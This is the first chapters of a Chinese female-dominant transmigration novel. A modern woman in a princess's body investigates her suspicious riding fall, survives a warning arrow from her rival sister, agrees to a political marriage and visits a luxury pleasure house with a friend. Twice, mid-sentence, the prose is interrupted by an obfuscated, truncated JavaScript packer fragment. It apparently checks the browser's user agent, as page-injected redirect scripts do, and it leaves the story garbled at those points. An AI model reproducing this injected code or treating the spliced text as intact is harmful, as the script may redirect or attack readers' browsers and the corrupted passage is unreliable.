《当恶女帝姬开始洗白(女尊)》 1. 穿越 宁都,昭妧帝姬府。 夜色如墨,庭院之中却是灯火通明,香烟缭绕。天际犹挂残月一抹,银灰淡淡,透过稀疏的云层,洒落在法坛上。 四周挂满驱邪避凶的符咒和祈福幡旗,几位玄衣道姑神情凝肃,衣袂飘飘,或执法剑,或握玉磬,口中念念有词。 一场庄严的法事正在此间进行。 随着咒语的响起,长风顿起,星辰隐退,天空涌现异彩…… 寝殿内,两位年轻男子端坐于案前,埋头抄写着疏文。二人一袭素净衣袍,身影被烛光拉得细长而摇曳。 “清醮大礼已行至第六日了,殿下……仍未有起色。” 夜渐深,兰秋白腕子微酸,稍停笔,抬眼望向窗外明灭的法坛火光。 “连太医院都束手无策,如今,也只盼上天垂怜,诸真护佑。” “兰哥哥就是心肠太软,还盼着她醒?”柳松松撇撇嘴,将手中墨锭“啪”地一搁。 “殿下平日如何待我们?哥哥莫非忘了?我看呐,她就这么睡着,大家反倒清净自在……” “松松!”兰秋白断然低喝,“此等妄言,也是能说出口的?殿下天潢贵胄,岂容你我置喙安危?更何况……” 他语气稍缓:“殿下若真有何不测,你我,乃至这满府之人,又如何能独善其身?” 柳松松被他一喝,先是一怔,随即红了眼圈。 他委屈地拈起帕子按了按眼角,嘟囔道:“我……我不过是随口一说,心里怕得紧,兰哥哥就会凶人家。” 兰秋白不再看他,重新垂眸凝向案上疏文,将万千心绪压入笔锋。只是那笔尖,终究几不可察地颤了一下。 当初,兰家为向势大的二殿下表忠心,将他这不受待见的男儿,作为及笄贺礼,塞进了帝姬府。 他知自己容色尚算出众,一双巧手尤擅庖厨之艺。若能博得帝姬青眼,往后纵使无缘侧君之位,即便仅做个寻常小侍,亦胜过待在兰家。 奈何帝姬性情暴戾,时常因琐事雷霆震怒,书房里砸碎的砚台撕毁的书画不知凡几。 她从未碰过他,也从未碰过后入府的柳松松。甚至不许他们近身侍奉,只打发他们去做些添茶倒水打理内务的杂活。 记得那一次,帝姬醉酒归来,盯着他的脸看了半晌,眼神痴迷又怨恨,猛地将滚烫的茶盏砸到他脚边,飞溅的碎片和热水烫伤了他的手背。 而她只是冷笑道:“赝品就是赝品,简直令人作呕!” 直到后来,日子久了,他们渐渐知晓所谓真相。 原来他二人,一个眉眼神韵,一个嘴角弧度,竟都与那武安侯府的宋小侯爷有几分微妙的相似。 宋小侯爷美如冠玉,其母在朝中威望极高,是帝姬求而不得寤寐思服的心上人。 要命的是,帝姬每每受到小侯爷冷遇,或是听闻了与其有关的消息,回府后便会将这无名邪火,尽数倾泻在他们身上。 所以,他们被留在府里,仅仅是因为这张脸。这点可悲的相似,能让她在暴怒时,有一个可以肆意凌辱的替身。 争宠?上位?早已是无人再敢生出的妄念。 如今所盼,不过是能在这无常的雷霆之下,苟全性命,求得一丝微不足道的安稳度日。 沉寂片刻,又听柳松松神神秘秘道:“哥哥可曾听到什么风言风语?” “我听说,”他压低了嗓音,“帝姬此番坠马并非意外,而是有人蓄意为之。” 软榻上,昭妧帝姬不知何时悄然苏醒,她的脸色略显苍白,睁开的眼瞳却清澈异常。 外间的对话,一字不落,悉数收入扶盈耳中。 借烛光环顾四周,目光所及之处,无一不透露出古雅与精致。随即,记忆片段如同走马灯般,在脑中凭空涌现。 内心虽震惊无比,但不得不承认…… 她穿越了! 这里是个名为虞国的女尊国家,原主也叫扶盈,乃当今圣上的五皇女,因自幼得宠加封为昭妧帝姬。 依照规矩,众皇女通常不知其生父是谁,国主会选既得她信任,又贤良淑德的宠君来抚养,位份达三品及以上才有资格被选为皇女养父。 后宫之中,除二皇女由生父皇贵君亲自抚养外,只出了原主这么一个特例。 原主生父臻荣君,昔年颇得圣宠,其病故后,年幼的她被交由皇贵君抚养。 皇贵君宽厚慈爱,处处无微不至,待她之好甚至胜于二皇女。在其娇纵之下,原主变得愈发肆意妄为,行事嚣张跋扈,无人能及。 宁都城众所周知,她对宋家小侯爷情有独钟,扬言非其不娶,对方表明宁死不嫁。二人上演了一出他逃她追,他插翅难飞的戏码。 此次坠马起因是,小侯爷和旁的女子走近了些,被添油加醋传进原主耳中。 原主气不过跑去“捉奸”,当街鞭笞小侯爷,又害那女子受重伤。自己则借酒消愁,醉意醺然间策马直奔北苑,这才出了事。 再睁眼,芯子已经换成了穿越而来的扶盈。 果然,不论何时何地都万不能酒驾!! 一夜无眠。 天亮时分,扶盈不再躺着。她翻身下床,慢慢活动四肢,适应着这具新的身体。 “吱呀——” 房门被轻轻推开,来人容貌清丽,眉眼间带着几分干练。扶盈搜索记忆,认出这是原主的一等大侍女。 “殿下!您醒了!”星罗面露喜色,手中水盆险些脱手,“您感觉怎么样?可有哪里不适?婢子这就去传太医。” “无妨,感觉好多了。”扶盈模仿着原主平日骄纵的语气,又刻意带上些许虚弱,“只是有点饿了。” “殿下稍后,婢子这就去传膳,再派人往宫里报个信,您好生歇着。” 星罗仔细看了看主子的脸色,确认她精神尚可,匆匆行礼退下,脚步都轻快了几分。 用过早膳后,扶盈略作整理,便唤上星罗准备出府,看看能否找到关于坠马事件的线索。 行至院中,一眼便瞧见了跪在冰凉青石板上的兰秋白和柳松松。她想起来,夜里听到的谈话声正是出自他们口中。 星罗紧随其后,解释道:“殿下曾下令,罚二人每日跪两个时辰,您昏迷这几日,惩罚便延续至今。” 扶盈虽继承了原主身份,但毕竟来自人人平等的现代社会,见此情景,心中顿生怜悯之情。 她缓步走近,心下不由一叹,原主还真是……暴殄天物。 这要搁现代,高低得进娱乐圈,完全不输男明星啊。连平替都长成这个样子,此刻她无比想亲眼一睹正主宋小侯爷的风姿。 柳松松先看见扶盈,眼睛一亮,又立刻低下头,做出恭顺畏惧的样子。 兰秋白似乎察觉到有人走近,身体微微一僵,依旧跪得笔直。 “都起来吧。”扶盈开口,语气平和,“本帝姬心情好,今日起,这罚跪的规矩免了。” 两人俱是一愣。 怎么也没想到,帝姬会突然苏醒,还破天荒地免去了责罚,不由怀疑起自己的耳朵。 柳松松率先反应过来,脸上堆起讨好的笑容,却不敢动:“殿下仁慈!只是……只是奴侍不敢。奴侍惹怒了殿下,合该受罚!” 兰秋白长睫低垂,唇瓣紧抿着。在他看来,这不过是帝姬的反话,是新的折磨方式。 扶盈微微蹙眉,原主的阴影看来不是一般深。她加重了点语气:“本殿说,起来。从前之事,过去了。” 柳松松这才诚惶诚恐地谢恩,奈何双腿早已麻木不堪,刚一动弹,便酸软得让他龇牙咧嘴。 而一旁的兰秋白,似乎情况更糟。他尝试用手撑地,非但没能站起来,反而失去平衡,软软地朝一侧栽倒下去。 “小心。” 千钧一发之际,扶盈动作快过思考,及时揽住了他的腰身,将险些触地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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马车一路疾行,抵达了皇家北苑的马场。此处占地极广,平日乃是皇女贵胄们跑马习武之地。 扶盈刻意未让人通报,二人直奔主事值房。 马场主事是个面容圆润的中年妇人,正打着哈欠核对账簿。抬头见扶盈立于门前,惊得手里毛笔“啪嗒”掉在账本上,染黑一大片数字。 “殿、殿下金安!” 主事慌忙起身行礼,膝盖撞在桌角也顾不上疼:“您怎么亲自来了?这……可真是折煞下官了!殿下若有吩咐,派人传唤一声便是……” “本殿要查追电失控一事。” 扶盈懒得与她虚与委蛇,开门见山:“将当日,所有接触过追电的人,全部叫来问话。包括后续的处理记录,还有经手人员名单,我要一一过目。” “殿下,惊马之事……在所难免。下官彻查过了,那日属实意外。” 主事笑容一僵,搓着手道:“追电突发癫狂,已被当场处决,相关人等也都按失职论处了。殿下洪福齐天,安然无恙便是万幸,这些晦气事何必再……” 扶盈并未立即回应,而是以一种审视的姿态打量着对方。提及追电,心头涌起一股复杂情绪。 那是原主爱骑,因奔跑时迅疾如电而得名,如今却成了无辜牺牲品。 这主事言辞闪烁,避重就轻,句句是近乎欲盖弥彰的推诿,并试图打消她追查的念头。 “意外?” 扶盈眸光转冷,语气多了几分寒意:“本帝姬坠马昏迷数日,你却在此轻描淡写一句意外便想搪塞过去?是觉得本殿昏聩可欺?还是认为本殿奈何不了你?” 她顿了顿,向前逼近一步。 “亦或是,背后有人授意你,将此事尽快了结,不得深究?” 主事顿时头皮发麻,腿一软,“扑通”跪倒在地。 “殿下明鉴!下官、下官万万不敢!只是……只是此事发生后,圣上关切,特命二皇女亲自督办。二殿下明察秋毫,最终……最终定论确是意外。” 她几乎是哭喊出来:“下官、下官人微言轻,岂敢质疑上意啊殿下!” 2. 联姻 二皇女督办,按意外处理。即便如此,扶盈仍耐着性子,带星罗几乎查遍了马场的每一个角落。 马厩、料槽、鞍具房、驯马场……意料之中,一无所获。 二皇女做事滴水不漏,必然将首尾处理得极为干净。身为长女的她,武艺出众,胆色过人,父君又是后宫之主,因而在朝中支持者颇多,势力不如小觑。 原主虽说恋爱脑,不够圆滑,但国主因其父缘故,对她多有偏爱,无形中成了二皇女最大的绊脚石。 扶盈内心感叹,这就是所谓白月光的杀伤力啊。 如今,国主尚未册立太女,立储之争暗流涌动。除掉原主,得益最大者,不言而喻。 若非自己穿越而来,昭妧帝姬昏迷至死,任谁查也最多落个马匹失控,意外身亡的结论。二皇女甚至不必亲自动手,便能兵不血刃。 皇室之中,什么手足情深历来是个笑话。 扶盈深吸口气,正欲转身离去,目光却被不远处几匹聚在一起悠闲啃食嫩草的骏马吸引。 许是受到肌肉记忆的影响,让她一时兴起,下意识地走了过去。 她伸出手,抚摸着白马的鬃毛。马儿似乎也很享受,甩了甩尾巴,又低下头轻蹭她的手背,发出一声愉悦的嘶鸣。 “真是一匹好马。”扶盈转头对星罗说道,“瞧它眼神清澈,步伐稳健。” 话音未落,只听耳边“咻”一声闪过,速度之快令人咋舌。 紧接着,白马发出一声凄厉痛苦的悲鸣,身体猛地一颤,猝不及防倒地。 “殿下,小心啊!”星罗惊呼道。 扶盈的心瞬间提到嗓子眼,她定睛一看。 白马四肢剧烈抽搐,腹部赫然插着一支锋利的箭矢,鲜血正顺着伤口汩汩流出,染红了洁白的毛发。 而那支箭,几乎贴着她的发梢掠过,留下一缕断发在空中缓缓飘落。 不远处,一名女子端坐于骏马之上,身后跟着数名精悍的护卫。她手中长弓虽已放下,但弓身仍微微颤抖,显露出方才射箭的余威。 星罗见状,赶忙上前行礼:“二殿下安好。” 扶盈立于原地,轻抚着被箭风擦过的脸颊,回想方才那一幕的惊险,心中余悸未消。 她勉强挤出一丝笑容,对着那女子道:“二、二皇姐,好巧。” “五皇妹倒是好雅兴,坠马初醒便有兴致来这马场与畜生嬉戏?”二皇女居高临下,唇角噙着似笑非笑的弧度。 “只是这马场里的畜生,野性难驯,方才若不是皇姐我手快,这不知轻重的畜生万一冲撞了你,可如何是好?” 她顿了顿,目光扫过地上渐渐停止挣扎的马尸,语气轻描淡写:“就像前几日五妹的那匹追电一样,平日里看着温顺,发起狂来真是吓人。” “不过五妹放心,皇姐我已替你将马场那些伺候不周,疏于管教的下人们统统处置了,省得她们日后再生事端,惹五妹烦心。” 扶盈心中一凛,袖中的手瞬间攥紧。 二人同由皇贵君抚养,面上总要过得去。二皇女虽说不至于明目张胆下黑手,但绝不能让对方瞧出,自己并非昭妧帝姬的破绽。 “皇姐你看!这破地方就没有一匹省心的马!前有追电发疯,现在这畜生又不知好歹!吓死我了!” 扶盈对着二皇女厉声抱怨,假装没听出她话中的深意:“那些该死的下人理应重重责罚!皇姐处置得对!” 二皇女审视着她这番作态,眼底的探究稍稍淡化,取而代之是一丝难以察觉的轻蔑与满意。 “五妹受惊了。既如此,便早些回府歇着罢。”她微微一笑,语气愈发温和,“马场晦气,若再出了什么意外,可不见得次次都有好运气。” 言罢,调转马头,带着侍卫扬长而去。 直到那队人马消失在视野尽头,扶盈挺直的脊背才松弛下来。 虽然,很不想承认此刻有些腿软,可一切发生过于突然,还是头一回体验到,这种和死神擦肩而过的感觉。 她低头,看着衣摆上刺目的鲜血,又望向地上逐渐冰冷的马尸。 好险辣的试探!二皇女此举,既是警告,也是确认。 心念定转间,扶盈已定了主意。她既然成了昭妧帝姬,这笔血债,早晚要向扶央讨回来! 然而,原主树敌颇多,又并无实权在手。她须得步步为营,先看清身边的牛鬼蛇神,方能在这波诡云谲的宫廷中保全自身。 回到府邸,下人们见扶盈归来,纷纷低头避让,带着难以掩饰的惶恐。殿下醒是醒了,可谁也不知道,这究竟是福是祸。 扶盈径直入了正厅,对侍女说道:“去,将府中各处管事及近前伺候的人都唤来。” 不过一盏茶的功夫,厅内便黑压压站了二三十人,个个屏息垂首,不敢言语。 扶盈端坐主位,开口先行安抚。众人闻言,稍稍松了口气,却仍不敢大意。 “本殿知道,此前府中规矩严了些。往后,只要你们忠心办事,安分守己,本殿亦非不能体恤下属。待诸事平稳,月钱加倍,年节赏赐也不会少了大家的。” “可若是……”她话音顿住,指尖在木椅扶手上轻轻一叩,惊得几个胆小的微微一颤。 “若是有人心怀叵测,或懈怠渎职,那就休怪本殿不讲情面。” 一番操作,恩威并施,软硬兼吃。既借了原主的余威震慑,又画下一张足够诱人的大饼。 这现代职场惯用的手段,如今放在古人身上,效果似乎同样显著。 下人们脸上惧色稍褪,多了几分活泛与期盼,纷纷跪地表忠心:“谨遵殿下吩咐!定当尽心竭力!” 打发了众人,扶盈靠在椅背上,揉了揉眉心。她挥挥手,让星罗也先去歇着,独自一人留在厅中。 这穿越第一日,可谓是惊心动魄。应付这些人情世故,比连续通宵赶稿还要累。 待冷静下来,马场那一幕再度浮现在眼前。二皇女的出现,太快,太巧了。 她醒来的消息,由星罗遣人入宫向国主报平安,指派的是府中老人,按说不会出问题。况且,为了不张扬,她一早出去走得还是侧门。 如此说来,只剩一种可能…… 要么,是马场主事暗中通风报信,要么,是这帝姬府早已在她人监视之下。想来,安插几个眼线,对无孔不入的二皇女来说,岂不是手拿把掐? 门外传来通报声,说是宫里的姑姑到了。 扶盈去换了身衣裳,匆匆移步前厅。一番程式化寒暄后,姑姑传达了国主的口谕。 大意是:听闻她苏醒,国主甚为欣慰,特吩咐让她好生静养,不必急于入宫请安,一切以身体为重。 末了,还赏赐了诸多名贵进补品给她。 扶盈恭顺谢恩,从国主行为上看,对这个女儿尚算宽和。可若细品其言语,关怀之下,隐隐有对她莽撞惹事的不满。 潜台词是:人没事就好,安分待在府里养着,别又立刻出去惹事生非。 在原主的记忆中,母女二人本就感情淡薄。相反,她和养父皇贵君的关系更为亲近。 然而,扶盈深知,生于皇室,不能仅凭表面来判断一个人的真实意图。 接下来的时间里,她熟悉着府中环境,对周遭人事过往有了更清晰的认知。下人们依旧谨小慎微,动辄跪地求饶,扶盈索性由她们去。 关于原主性情,她不能转变太突兀,徐徐图之方不致人生疑。 转眼便到了进宫请安的日子。 一路宫阙重重,肃穆庄严。她心中虽有波澜,但好在早有准备,倒也不至于紧张失措。 “昭妧帝姬,到——” 来到国主的明华殿,随着一声悠长的通报,扶盈很快便被引了进去。没想到,皇贵君姚氏也在。 殿内其余宫人被屏退,此时只剩她们三人。 国主约莫四十大几,身着一袭赤金常服,领口绣有蟠螭暗纹,长眉如远山般入鬓,发冠未缀旒珠,却更衬出不怒自威的气势。 一侧的皇贵君温文尔雅,保养得宜的面容上带着和蔼笑意。 “儿臣参见母皇,愿母皇圣体康健,福泽绵长。”扶盈行礼,不卑不亢,“给父君请安。” 国主抬手示意,言道:“不必多礼,身子可好伶俐了?” 原主生父早逝,自那之后,就连母皇待她也不比从前,态度莫名疏离。 接着,有流言传出,说其父是被秘密赐死,最为受宠的昭妧帝姬亦遭到了冷落。 外加姚氏背后挑拨,母女缺乏良性沟通,关系一度降至冰点。长久以来的隔阂,让彼此难以轻易靠近。 但站在旁观者角度,扶盈认为,国主心里并非完全没有这个女儿。至少面对原主胡作非为,她向来睁只眼闭只眼,顶多是杖责加禁足,并未真的下令重罚。 “劳母皇挂心,已无大碍了。” “那就好,日后行事须得沉稳些,莫再如此毛躁,令朕与你父君担忧。” “圣上说的是。”不等扶盈回话,姚氏笑着接口,“盈儿这次真是吓坏我们了,如今平安就好,平安就好啊。” 他说着,轻轻“哎呀 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国主亦是神色微动,手指在茶盏边缘摩挲着。这盈儿痴迷宋连蘅,俨然成了全宁都的笑柄,平日里与其挂钩的事,她绝不会轻易退让低头。 母女二人本就有嫌隙,又常为此闹得不欢而散。 并非她不愿赐婚,那宋连蘅出自武将世家,性子刚烈,非良配也。还是要纳个温良恭顺的来作女儿正君,或许能让她收收心,学着稳重些。 “圣上息怒。”姚氏适时开口,脸上带着恰到好处的忧色与恳切。 “臣侍想着,盈儿年岁渐长,性情却如孩提般跳脱易怒,或许正是因为府中空虚,身边没个体己人陪伴的缘故。” “皇贵君所言,不无道理。” 国主沉吟片刻,目光若有所思地扫过扶盈,顺着姚氏的话道:“盈儿啊,朕打算为你赐婚。” “你若应允,朕便宽恕你此次之过。若执意不从,便去那紫霄观闭门思过,静心反省一番罢。” 扶盈虽心有不甘,但也看得出来,这两人一唱一和,看似商量,实则早已定策。此刻不过是走个过场,意图强行将这桩婚事压下来。 紫霄观一听绝非好地方,自是万万去不得。如今羽翼未丰,当场拒绝很可能失了国主的心,届时顺了姚氏的意。 既无回旋余地,何不乐观面对。 开局送男友,按这剧情走向未必是坏事,只能寄希望于对方是个大帅哥,放在身边养养眼,倒也不算赔本。 “朕与皇贵君已为你择定人选。乃是安国前来求亲,愿入赘我朝的九皇子。” “安国虽不及我虞国,其皇子倒也称得上温文知礼,与你正相宜。”国主看向扶盈,目光带着不容置疑的威压。 “此事非同小可,关乎两国邦交,所以盈儿,母皇希望你能以大局为重。” 姚氏嘴角噙着一丝难以察觉的冷笑,将一个异国的失势皇子塞给心高气傲,非宋小侯爷不可的昭妧帝姬,她必定当场发作,大闹抗拒。 扶盈闻言,静默了片刻。 都被送来入赘联姻了,必然是个不受宠的,这到了她的地盘,那还不是任她拿捏。左不过日后寻个时机,两人和离便是。 “儿臣……谢母皇、父君劳心。安国皇子……既蒙母皇与父君看重,想必有其过人之处。” 她微微咬唇,显出一份落寞的顺从,又带着一丝若有似无的勉强:“儿臣……谨遵母皇安排。” 此言一出,姚氏脸上的笑容完全僵住,瞳孔微微一缩。 本以为扶盈会坚决反对,毕竟她对宋连蘅的痴迷整个宁都都知晓。可今日的她,不仅没和圣上对着干,甚至愿意放弃意中人,接受新的正君。 这丫头……何时转了性子?莫不是,经历了生死一遭,真的学乖了? 姚氏眼中精光一闪,笑容愈发和煦亲切:“哎呀,圣上您看,盈儿果然是懂事了!” “这安国九皇子啊,臣侍细细打听过,性子最是柔顺识礼,定能好好侍奉盈儿,打理内帷。虽不似宋家小郎那般能骑善射,引人注目,但正所谓娶夫娶贤,这过日子嘛,终究是安稳体贴最要紧。” “盈儿说是不是?” 扶盈睫毛轻颤,仿佛被刺痛:“父君……说的是。您为儿臣劳心筹划,儿臣自然感激不尽。” 这副模样,落在国主和皇贵君眼里,活脱脱便是心灰意冷认命服软。国主虽觉扶盈反应过于平静了些,但终究省心,便点了点头。 “既如此,甚好。旨意不日便会下达,盈儿且先回府待旨,好生准备罢。” “是,儿臣告退。” 3. 花楼 走出明华殿那令人窒息的氛围,春日阳光兜头洒下,微微驱散了周身的寒意。星罗候在廊下,见到扶盈,立刻快步迎上。 她观察主子脸色,压低声音急切地问:“殿下,可还顺利?” “小意思啦,轻松化解。” 扶盈看着她毫不作伪的担忧,竟产生一种莫名心安。她慢慢松开紧攥着的手,掌心有些潮湿感。 二人沿着宫道离去,未待走远,忽闻身后传来一声洪亮如钟的呼唤,中气十足。 “阿盈留步!” “阿盈!等一等!” 扶盈驻足回首,见一名身着银亮轻甲,腰佩长刀的将军正大步流星而来。她身量高挑,眉眼英气勃勃,肤色是常经风沙的蜜色。 来人正是原主挚友,宋小侯爷之姊——云骧将军宋连芜。 “好家伙,可算是见着活的了!” 对方几步便赶到近前,毫不拘礼地一拍扶盈肩膀,力道不轻,让扶盈吃痛地皱了皱眉。 “听说你坠马昏迷,我人在军营练兵,急得跳脚也没法脱身,如今瞧着你气色还行,没缺胳膊少腿,我就放心了!” 她嗓门洪亮,引得远处几个宫人侧目,她却浑然不觉,只顾着上下打量扶盈。 扶盈被她的热情感染,也不自觉笑了起来。原主记忆里,这位宋少将军是少数能与之真心相交,不计较她臭脾气的人。 “劳阿芜挂心,已无大碍了。倒是你,瞧着又黑瘦了些,军营辛苦。” “嗐!老样子,揍揍那帮不听话的小崽子,闲时喝酒吃肉,快活得很!”宋连芜大手一挥,随即又想起什么,脸上露出些歉意。 “本想早些去看你,奈何军务缠身,今日才得空进宫复命。你若无安排,晚上倚阑阁见,我请你喝酒压惊,算是赔罪!” 倚阑阁? 饶是扶盈初来乍到,对其名声亦有所耳闻。那并非寻常酒楼,而是一家高级综合性风雅娱乐场所。 身处古代这些日子,不是应付阴谋就是装乖卖巧,对着一群心思各异的古人,着实让她感到枯燥乏味。而且,没有手机网络的陪伴,生活仿佛按下慢放键。 此刻听得有地方去,还是信得过的好友相邀,她几乎毫不犹豫,爽快应下。 “好!一言为定!” “痛快!那可说定了!”宋连芜见她答应得干脆,更是高兴,又用力拍了拍她的胳膊,“我先去面圣了,晚上不见不散啊!” 说罢,便转身风风火火地大步而去,甲胄铿锵作响。 扶盈看着好友远去的背影,心情顿时轻快了几分,这日子总算添了些值得期待的活气。 傍晚时分,太阳西沉,天际铺陈开锦缎般的霞彩,白日的喧嚣渐渐沉淀为暮色的宁谧。 帝姬府的浴池内,水汽氤氲,暖香弥漫。 扶盈浸在洒满花瓣的温水中,闭目养神。星罗剥开一颗晶莹剔透的荔枝,小心地喂到她唇边。 身处古代,竟还能如此自在惬意地享受泡澡,实乃人生幸事之一啊。此时此刻,扶盈内心感到无比的满足。 她微微侧首,看向不远处磨得光亮的铜镜,镜中映出一张熟悉又陌生的脸庞。 这原主,眉眼与现代时的自己有七八分相似,只是轮廓更为精致锐利,带着养尊处优的骄矜底色。还有那满满胶原蛋白,以及未经历社会摧残的气质,是她这个大龄美少女所不及的。 恍惚间,穿越那日的记忆碎片猛地袭来。 一个平平无奇的夜里,她正为赶稿焦头烂额,呼吸却变得越来越急促,胸口像被巨石压住,随后便是无尽的黑暗与窒息…… 再睁眼,已是异世帝姬。 对于穿越一事,这年头见怪不怪了,所以她接受很快。既来之则安之,她的适应能力向来比较强。 上辈子卷生卷死,这一世她只想躺平当条咸鱼,左拥右抱,尽情享受纸醉金迷的废柴生活。 沐浴完毕,扶盈换上一身常服,将墨发简单束起。刚收拾停当,就听外间传来侍女通报,说宋少将军已到府门外等候。 扶盈不由失笑,这宋连芜,像是怕她临时反悔不去,竟来得这般早。 她快步走出府门,果然见宋连芜正抱着手臂,靠在她那匹神骏的黑马旁,一身暗红色劲装,在暮色里显得格外醒目。 夜幕降临,华灯初上。二人并未直接前往倚阑阁,反而先拐入了邻近的夜市。 长街两侧灯火如龙,人声鼎沸。摊贩的吆喝声、食肆飘出的诱人香气、杂耍艺人周围的喝彩声交织在一起。 宋连芜拉着扶盈在人群中穿梭,时而买个刚出炉的胡饼塞给她,时而指着某处新奇玩意点评几句。 街道上,女子多为常态。 她们或穿着利落的轻便服饰,或身着锦缎长袍,纹饰大气,发髻高绾,以玉冠或金簪固定。还有些,明显是大户人家出身的,边上跟随一两个低眉顺眼捧着东西的侍男。 而男子们的装扮则截然不同。他们大多穿着颜色鲜亮或柔和的衣袍,衣料多用轻软的绸纱,宽袖飘飘。 发间往往簪着鲜花、玉簪或步摇,甚至有些还薄施脂粉、勾勒眉眼,行动间颇注重仪态,显得纤细文弱。 偶尔见有男子戴素纱帷帽,规规矩矩地跟在妻主身后,低声细语,与周围爽朗大气的女子们形成鲜明对比。 扶盈饶有兴致地打量这一切。这女尊国的风貌着实让她感到新奇有趣,尤其在切身体会之下,风土人情和她熟知的古代社会完全颠倒。 “看什么呢,瞧你这眼神,跟从未出过门似的。”宋连芜咬着个软糯青团,含糊不清地问。 扶盈收回目光,笑了笑:“没什么,只是觉得热闹,好看。” “这有什么好看的,吵吵嚷嚷。”宋连芜三两口吃完青团,拍拍手道,“走,带你去真正好玩的地方!” 言罢,便拉着扶盈挤出夜市,拐进一条稍显清净的巷弄。 巷弄尽头,是一座灯火通明的三层楼阁,檐角悬挂着琉璃灯,映照出匾额上三个龙飞凤舞的大字——倚阑阁。 与外面市井的喧闹相比,这里仿佛自成一方天地,丝竹管弦之声隐约可闻,空气飘散着淡淡的合香气味。 听说其前身只是家普通酒楼,经营多年,始终不温不火。约一年前,有位神秘东家斥重金盘下,经过大规模修葺和改造后,更名为倚阑阁重新开张。 踏入大门,一股酒液混合着脂粉味的气息扑面而来。一层大厅极为宽敞,中央高台上,数名身着轻纱,容颜姣好的少男郎正在翩然起舞。 他们身姿柔韧,水袖翻飞,一颦一笑散发无限风韵,引得台下看客们目光灼灼,沉醉其中。 “哎呦喂!我的宋女君呀!您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楼梯口处垂着水晶珠帘,有护卫分别把守在两侧。见到苏爹爹带来客人,她们微微颔首,目光在扶盈和宋连芜身上快速扫过。 “这顶层啊,可不是谁都能上来的。”鸨父压低了些声音,语气中带着一丝炫耀,“光是富可不顶用,还得是这个……” 他翘起兰花指,隐晦地向上指了指。 “或是得了里头某位贵人的眼,才有资格踏进一步。寻常富商豪绅,连这楼梯口都摸不着边儿呢!” 扶盈心中了然,看来正是这种神秘感、高门槛,使得倚阑阁在短时间内声名鹊起,受到宁都权贵们的追捧,并以能进入其顶层为荣。 鸨父在一扇题着「漱玉」二字的门前停下,轻轻推开。 屋内精而不繁,环境雅致舒适,陈设布置相较前几层,更为奢华与考究。一侧还有个小巧露台,视野极佳,可俯瞰部分皇城夜景。 案几上摆放着琉璃酒具,几碟精致小食点缀其间。鎏金香炉静立一角,檀香丝缕缕逸散,在空气中织出薄而清的幽韵。 “二位贵客请先稍坐,用些酒水。这刚醒好的赤霞酿呀,最是醇厚呢。” 鸨父手脚麻利地斟上酒,笑道:“仆家先去安排一番,定寻些新鲜有趣的妙人儿来,保准不让女君失望。” 4. 风月 “还是这儿舒坦!楼下吵得我脑仁儿疼。”宋连芜仰头灌下一大口酒,满足地咂咂嘴。 “这赤霞酿就是带劲!军营里那帮糙娘们儿凑一块,除了呛死人的土烧,就是甜腻腻的桂花稠酒,解渴是解渴,可终究少了点……啧,少了点细腻滋味。” 她没明说,但那眼神里的意思分明是,少了点男人带来的风花雪月。 “阿芜,我敬你。”扶盈执起酒杯,神色认真了些,“有件事,我该当面向你赔个不是。” 宋连芜正要去捏一块杏仁酥,闻言动作一顿,疑惑道:“嗯?什么事?” “就是关于我先前……鞭打连蘅的那桩混账事。” “当时我猪油蒙了心,伤了他,也伤了两家的情分。改日,我定当备上厚礼,亲自登门向候姥还有连蘅赔罪。” 宋连芜先是一愣,随即摆了摆手:“嗐!我当什么事呢!那兔崽子自作自受,挨顿鞭子也算长记性!” “我母亲知道后,气得当场家法伺候,打得他半个月下不来床,早就把人撵回城外庄子上反省去了,没个一年半载别想回来!” 她拿起酒壶给扶盈和自己又满上,浑不在意地道:“这事儿早翻篇了!咱俩谁跟谁,你可别往心里去。” “来,喝酒喝酒!今天只管痛快,不提那些扫兴的!” 宋连芜真诚爽朗的模样,让扶盈心头一暖,二人举杯轻轻相碰,发出清脆的声响。 “阿芜,还有一事。关于令弟……往日是我执念太深,行事荒唐。” 扶盈目光平静,语气郑重:“从现在起,我不会再纠缠于他,过往种种,就此一笔勾销。今后,我们女婚男嫁,各不相干。” 她深知,就算原主与宋连蘅两情相悦,国主也未必会下旨赐婚二人。 宋家手握兵权,是国之砥柱、朝之元老。而少将军连芜,更是年轻一辈中的翘楚,又与她私交甚密。 一国之主,岂会对此毫无忌惮之心? 她不是原主,对那宋小侯爷毫无情愫可言,亦没道理执着于他。天涯何处无芳草,自然要趁早撕掉单恋对方,对其穷追不舍的标签。 “阿盈,你没事吧?说什么胡话呢?被马摔坏脑子了?” 宋连芜像是听到了什么天方夜谭,伸手探了探扶盈的额头,一脸“你别骗我”的表情。 “得了吧你!前些时日还因为,旁的女子跟他多说两句话就抽鞭子,现在跟我说放手?骗鬼呢!” 扶盈见她全然不信,也不强求,笑着打了个哈哈:“或许真是死过一回,大彻大悟了吧……” 她晃了晃杯中残酒。 “再说了,母皇已亲自为我择定了正君人选,圣旨不日便下。我总不好再惦记别人家的男郎,是吧?” “等等!你说什么?”宋连芜一口酒差点喷出来,呛得连声咳嗽,好不容易顺过气,瞪圆了眼睛盯着扶盈。 “赐婚?!太阳打西边出来了?这宁都居然还有男郎敢……呃,我是说,愿意嫁给你了?” “快告诉我是哪位英雌如此想不开?说出来让我替他烧炷高香!” 扶盈哭笑不得:“不是宁都的郎君,是安国前来入赘的九皇子。” “谁?!安国?九皇子?!” 宋连芜的表情从震惊变成难以置信,随即爆发出一阵大笑,笑得捶胸顿足,上气不接下气。 “哈哈哈!哎哟我的娘!居然是那个药罐子!哈哈哈!扶盈啊扶盈,你这到底是走了什么大运啊!哈哈哈!” 扶盈挑眉:“怎么?你认识他?” “认识?谈不上。” 宋连芜擦着眼角笑出的泪花:“前阵子在兵部还有我母亲那边隐约听过几句!安国其实一直想抱咱们虞国的大腿,主动提出联姻,送个皇子过来以示诚意。” 